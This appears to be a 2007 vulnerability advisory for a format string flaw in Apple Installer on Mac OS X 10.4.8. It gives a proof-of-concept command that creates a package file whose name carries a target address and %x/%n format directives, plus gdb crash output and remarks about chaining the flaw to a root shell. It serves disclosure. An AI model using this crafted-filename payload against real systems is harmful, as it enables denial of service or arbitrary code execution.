Apple Installer is the application in charge of handling the installation of packages
for Mac OS X, in form of pkg, distz and mpkg files.
Installer fails to properly handle package filename strings. It's a affected by a typical format string vulnerability, which can lead to a denial of service condition or arbitrary code execution.
This issue has been verified with Apple Installer Version 2.1.5 (94) on Mac OS X 10.4.8 (8L2127).
Proof of concept, exploit or instructions to reproduce
The following is the most simple way to demonstrate this issue:
$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg $ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x %25x%25x%25x%25x%25x%n.pkg
See the 'Exploitation conditions' section for more information on different vectors to trigger the issue.
The following debugging information shows Installer crashing when opening a file with a crafted filename:
Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0x0000037f 0x9000c0c1 in __vfprintf () (gdb) x/x 0xbfffe79c 0xbfffe79c: 0x00ffffff (gdb) back #0 0x9000c0c1 in __vfprintf () #1 0x90100ea9 in snprintf_l () #2 0x908119d5 in _CFStringAppendFormatAndArgumentsAux () #3 0x9081091c in _CFStringCreateWithFormatAndArgumentsAux () #4 0x925daa5d in -[NSPlaceholderString initWithFormat:locale:arguments:] () #5 0x925fc670 in -[NSString initWithFormat:arguments:] () #6 0x9336056f in -[NSAlert buildAlertStyle:title:message:first:second:third: oldStyle:args:] () #7 0x934ac77a in _NXDoLocalRunAlertPanel () #8 0x934ac4cc in NSRunAlertPanel () #9 0x00003acd in -[InstallerController openFile:withOptions:] () #10 0x9326ad98 in -[NSApplication _doOpenFile:ok:tryTemp:] () #11 0x93268305 in -[NSApplication finishLaunching] () #12 0x93267c29 in -[NSApplication run] () #13 0x9325bd2f in NSApplicationMain () #14 0x00002721 in main () (gdb) i r eax 0x37f 895 ecx 0x0 0 edx 0x0 0 ebx 0x9000ad62 -1879003806 esp 0xbfffdc70 0xbfffdc70 ebp 0xbfffe3c8 0xbfffe3c8 esi 0xbffff3be -1073744962 edi 0x25 37 eip 0x9000c0c1 0x9000c0c1 <__vfprintf+4976> eflags 0x10282 66178 cs 0x17 23 ss 0x1f 31 ds 0x1f 31 es 0x1f 31 fs 0x0 0 gs 0x37 55
This is another issue related with the now infamous
related functions. Actually, there are dozens of issues like these in nearly every
Mac OS X application. Right now, as explained in MOAB-16-01-2007
we can write NULL bytes to any desired location. Under certain circumstances this can be useful
and thus arbitrary code execution can't be considered 'not possible' right away (specially when
we can reach user input...). In fact, there may be some other methods that could help with exploitation
of these issues without requiring use of the usual techniques for format string exploitation.
This all thanks to Apple and CoreFoundation. Who else.
If that doesn't work, you can always use it to spawn a root shell with MOAB-22-01-2007 :-). Sure, you can use the notification API right away, but it's still nice to turn every 'crash' into a root shell...
Workaround or temporary solution
Wait for Apple to release a patch or the MoAB Fixes for an APU module.
"Two days of stupid 1990s-style bugs, just in case." -- anonymous.